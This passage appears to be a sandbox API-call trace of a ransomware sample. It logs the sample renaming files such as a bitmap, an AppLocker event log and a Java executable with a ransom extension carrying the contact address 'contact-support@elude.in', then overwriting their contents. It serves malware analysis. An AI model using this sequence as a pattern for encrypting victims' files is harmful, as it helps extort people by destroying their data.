(dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.755] Sleep (dwMilliseconds=0x1) [0081.778] Sleep (dwMilliseconds=0x1) [0081.836] Sleep (dwMilliseconds=0x1) [0081.845] Sleep (dwMilliseconds=0x1) [0081.889] Sleep (dwMilliseconds=0x1) [0081.911] Sleep (dwMilliseconds=0x1) [0081.925] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.966] Sleep (dwMilliseconds=0x1) [0081.988] Sleep (dwMilliseconds=0x1) [0082.001] Sleep (dwMilliseconds=0x1) [0082.037] Sleep (dwMilliseconds=0x1) [0082.049] Sleep (dwMilliseconds=0x1) [0082.070] Sleep (dwMilliseconds=0x1) [0082.111] Sleep (dwMilliseconds=0x1) [0082.135] Sleep (dwMilliseconds=0x1) [0082.149] Sleep (dwMilliseconds=0x1) [0082.160] Sleep (dwMilliseconds=0x1) [0082.192] Sleep (dwMilliseconds=0x1) [0082.217] Sleep (dwMilliseconds=0x1) [0082.230] Sleep (dwMilliseconds=0x1) [0082.261] Sleep (dwMilliseconds=0x1) [0082.275] Sleep (dwMilliseconds=0x1) [0082.296] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.373] Sleep (dwMilliseconds=0x1) [0082.416] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.586] Sleep (dwMilliseconds=0x1) [0082.638] Sleep (dwMilliseconds=0x1) [0082.681] Sleep (dwMilliseconds=0x1) [0082.730] Sleep (dwMilliseconds=0x1) [0082.774] Sleep (dwMilliseconds=0x1) [0082.824] Sleep (dwMilliseconds=0x1) [0082.868] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.966] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.053] Sleep (dwMilliseconds=0x1) [0083.105] Sleep (dwMilliseconds=0x1) [0083.149] Sleep (dwMilliseconds=0x1) [0083.202] Sleep (dwMilliseconds=0x1) [0083.240] Sleep (dwMilliseconds=0x1) [0083.295] Sleep (dwMilliseconds=0x1) [0083.335] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.434] Sleep (dwMilliseconds=0x1) [0083.705] Sleep (dwMilliseconds=0x1) [0083.749] Sleep (dwMilliseconds=0x1) [0083.804] Sleep (dwMilliseconds=0x1) [0083.911] Sleep (dwMilliseconds=0x1) [0084.014] Sleep (dwMilliseconds=0x1) [0084.091] Sleep (dwMilliseconds=0x1) [0084.204] Sleep (dwMilliseconds=0x1) [0084.341] Sleep (dwMilliseconds=0x1) [0084.740] Sleep (dwMilliseconds=0x1) [0084.809] Sleep (dwMilliseconds=0x1) [0084.879] Sleep (dwMilliseconds=0x1) [0084.959] Sleep (dwMilliseconds=0x1) [0085.047] Sleep (dwMilliseconds=0x1) [0085.124] Sleep (dwMilliseconds=0x1) [0085.179] Sleep (dwMilliseconds=0x1) [0085.345] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.734] Sleep (dwMilliseconds=0x1) [0085.833] Sleep (dwMilliseconds=0x1) [0085.961] Sleep (dwMilliseconds=0x1) [0086.078] Sleep (dwMilliseconds=0x1) [0086.191] Sleep (dwMilliseconds=0x1) [0086.232] Sleep (dwMilliseconds=0x1) [0086.298] Sleep (dwMilliseconds=0x1) [0086.348] Sleep (dwMilliseconds=0x1) [0086.592] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0087.096] Sleep (dwMilliseconds=0x1) [0087.467] Sleep (dwMilliseconds=0x1) [0089.109] Sleep (dwMilliseconds=0x1) [0090.327] Sleep (dwMilliseconds=0x1) [0091.761] Sleep (dwMilliseconds=0x1) [0093.040] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\588bce7c90097ed212\\watermark.bmp", len=0x23 | out: pbstr=0x3cfff7c*="C:\\588bce7c90097ed212\\watermark.bmp") returned 1 [0093.040] GetProcessHeap () returned 0x630000 [0093.040] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x70d068, Size=0xb0) returned 0x729f98 [0093.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0093.040] CloseHandle (hObject=0x674) returned 1 [0093.083] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.083] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.084] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.bmp.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERM~1.FIR")) returned 0x6d5580 [0093.084] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0093.084] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0093.084] GetProcessHeap () returned 0x630000 [0093.084] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70bc908 [0093.085] GetProcessHeap () returned 0x630000 [0093.085] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c7d38 [0093.086] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.086] ReadFile (in: hFile=0x674, lpBuffer=0x70bc908, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70bc908*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.399] GetProcessHeap () returned 0x630000 [0100.399] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8960 [0100.399] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.399] WriteFile (in: hFile=0x674, lpBuffer=0x70c7d38*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c7d38*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.399] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.399] WriteFile (in: hFile=0x674, lpBuffer=0x70d3137*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d3137*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.399] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.400] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.400] CloseHandle (hObject=0x674) returned 1 [0100.403] GetProcessHeap () returned 0x630000 [0100.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c7d38 | out: hHeap=0x630000) returned 1 [0100.403] GetProcessHeap () returned 0x630000 [0100.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70bc908 | out: hHeap=0x630000) returned 1 [0100.403] GetProcessHeap () returned 0x630000 [0100.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8960 | out: hHeap=0x630000) returned 1 [0100.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.403] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x1cc22a0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x196ac, dwReserved0=0xce07496, dwReserved1=0x70bc900, cFileName="watermark.bmp.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WATERM~1.FIR")) returned 0x6d4f80 [0100.403] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0100.404] Sleep (dwMilliseconds=0x1) [0101.387] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Boot\\Fonts\\segmono_boot.ttf", len=0x1e | out: pbstr=0x3cfff7c*="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 1 [0101.387] GetProcessHeap () returned 0x630000 [0101.387] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6feff08, Size=0x38) returned 0x6d5280 [0101.387] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.333] Sleep (dwMilliseconds=0x1) [0102.354] Sleep (dwMilliseconds=0x1) [0102.378] Sleep (dwMilliseconds=0x1) [0102.398] Sleep (dwMilliseconds=0x1) [0102.429] Sleep (dwMilliseconds=0x1) [0102.460] Sleep (dwMilliseconds=0x1) [0102.473] Sleep (dwMilliseconds=0x1) [0102.490] Sleep (dwMilliseconds=0x1) [0102.504] Sleep (dwMilliseconds=0x1) [0102.521] Sleep (dwMilliseconds=0x1) [0102.538] Sleep (dwMilliseconds=0x1) [0102.557] Sleep (dwMilliseconds=0x1) [0102.569] Sleep (dwMilliseconds=0x1) [0102.583] Sleep (dwMilliseconds=0x1) [0102.599] Sleep (dwMilliseconds=0x1) [0102.614] Sleep (dwMilliseconds=0x1) [0102.632] Sleep (dwMilliseconds=0x1) [0102.662] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.754] Sleep (dwMilliseconds=0x1) [0102.771] Sleep (dwMilliseconds=0x1) [0102.787] Sleep (dwMilliseconds=0x1) [0102.807] Sleep (dwMilliseconds=0x1) [0102.817] Sleep (dwMilliseconds=0x1) [0102.885] Sleep (dwMilliseconds=0x1) [0102.899] Sleep (dwMilliseconds=0x1) [0102.929] Sleep (dwMilliseconds=0x1) [0102.942] Sleep (dwMilliseconds=0x1) [0102.959] Sleep (dwMilliseconds=0x1) [0102.973] Sleep (dwMilliseconds=0x1) [0102.990] Sleep (dwMilliseconds=0x1) [0103.004] Sleep (dwMilliseconds=0x1) [0103.021] Sleep (dwMilliseconds=0x1) [0103.087] Sleep (dwMilliseconds=0x1) [0103.099] Sleep (dwMilliseconds=0x1) [0103.114] Sleep (dwMilliseconds=0x1) [0103.131] Sleep (dwMilliseconds=0x1) [0103.150] Sleep (dwMilliseconds=0x1) [0103.166] Sleep (dwMilliseconds=0x1) [0103.183] Sleep (dwMilliseconds=0x1) [0103.193] Sleep (dwMilliseconds=0x1) [0103.208] Sleep (dwMilliseconds=0x1) [0103.224] Sleep (dwMilliseconds=0x1) [0103.238] Sleep (dwMilliseconds=0x1) [0103.265] Sleep (dwMilliseconds=0x1) [0103.270] Sleep (dwMilliseconds=0x1) [0103.294] Sleep (dwMilliseconds=0x1) [0103.302] Sleep (dwMilliseconds=0x1) [0103.322] Sleep (dwMilliseconds=0x1) [0103.365] Sleep (dwMilliseconds=0x1) [0103.402] Sleep (dwMilliseconds=0x1) [0103.433] Sleep (dwMilliseconds=0x1) [0103.449] Sleep (dwMilliseconds=0x1) [0103.466] Sleep (dwMilliseconds=0x1) [0103.497] Sleep (dwMilliseconds=0x1) [0103.511] Sleep (dwMilliseconds=0x1) [0103.528] Sleep (dwMilliseconds=0x1) [0103.542] Sleep (dwMilliseconds=0x1) [0103.561] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", len=0x35 | out: pbstr=0x3cfff7c*="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 1 [0103.561] GetProcessHeap () returned 0x630000 [0103.561] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1250 | out: hHeap=0x630000) returned 1 [0103.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0103.843] CloseHandle (hObject=0x620) returned 1 [0103.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.843] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.843] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.844] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x1900e5fc, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIDAB3~1.FIR")) returned 0x6d51c0 [0103.844] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0103.844] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0103.844] GetProcessHeap () returned 0x630000 [0103.844] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70b10c8 [0103.844] GetProcessHeap () returned 0x630000 [0103.844] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x714c008 [0103.844] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.844] ReadFile (in: hFile=0x620, lpBuffer=0x70b10c8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b10c8*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.199] GetProcessHeap () returned 0x630000 [0112.199] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0112.199] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.199] WriteFile (in: hFile=0x620, lpBuffer=0x714c008*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x714c008*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.199] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.199] WriteFile (in: hFile=0x620, lpBuffer=0x7157407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x7157407*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.199] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.200] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.200] CloseHandle (hObject=0x620) returned 1 [0112.201] GetProcessHeap () returned 0x630000 [0112.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714c008 | out: hHeap=0x630000) returned 1 [0112.201] GetProcessHeap () returned 0x630000 [0112.201] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70b10c8 | out: hHeap=0x630000) returned 1 [0112.202] GetProcessHeap () returned 0x630000 [0112.202] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0112.202] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.202] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8d44956, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xce07496, dwReserved1=0x70b10c0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIDAB3~1.FIR")) returned 0x6d51c0 [0112.202] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0112.202] Sleep (dwMilliseconds=0x1) [0113.492] Sleep (dwMilliseconds=0x1) [0114.109] Sleep (dwMilliseconds=0x1) [0114.555] Sleep (dwMilliseconds=0x1) [0114.920] Sleep (dwMilliseconds=0x1) [0115.212] Sleep (dwMilliseconds=0x1) [0115.504] Sleep (dwMilliseconds=0x1) [0115.905] Sleep (dwMilliseconds=0x1) [0117.121] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe", len=0x35 | out: pbstr=0x3cfff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 1 [0117.121] GetProcessHeap () returned 0x630000 [0117.121] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5d60, Size=0x2c) returned 0x6ed6428 [0117.121] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0117.122] CloseHandle (hObject=0x6a0) returned 1 [0117.122] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.123] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xd508e13c, dwReserved1=0x0, cFileName="servertool.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SERVER~1.FIR")) returned 0x6d5200 [0117.123] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0117.124] GetProcessHeap () returned 0x630000 [0117.124] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x71f0150 [0117.125] GetProcessHeap () returned 0x630000 [0117.125] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x71f41c0 [0117.125] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.125] ReadFile (in: hFile=0x6a0, lpBuffer=0x71f0150, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f0150*, lpNumberOfBytesRead=0x3cfff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.597] GetProcessHeap () returned 0x630000 [0118.597] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0118.597] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.597] WriteFile (in: hFile=0x6a0, lpBuffer=0x71f41c0*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f41c0*, lpNumberOfBytesWritten=0x3cfff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.597] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.597] WriteFile (in: hFile=0x6a0, lpBuffer=0x71f81ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f81ff*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.597] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.597] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.597] CloseHandle (hObject=0x6a0) returned 1 [0118.598] GetProcessHeap () returned 0x630000 [0118.599] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f41c0 | out: hHeap=0x630000) returned 1 [0118.599] GetProcessHeap () returned 0x630000 [0118.599] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f0150 | out: hHeap=0x630000) returned 1 [0118.599] GetProcessHeap () returned 0x630000 [0118.599] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0118.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.599] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xca38c5c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xce07496, dwReserved1=0x71f0148, cFileName="servertool.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SERVER~1.FIR")) returned 0x6d5200 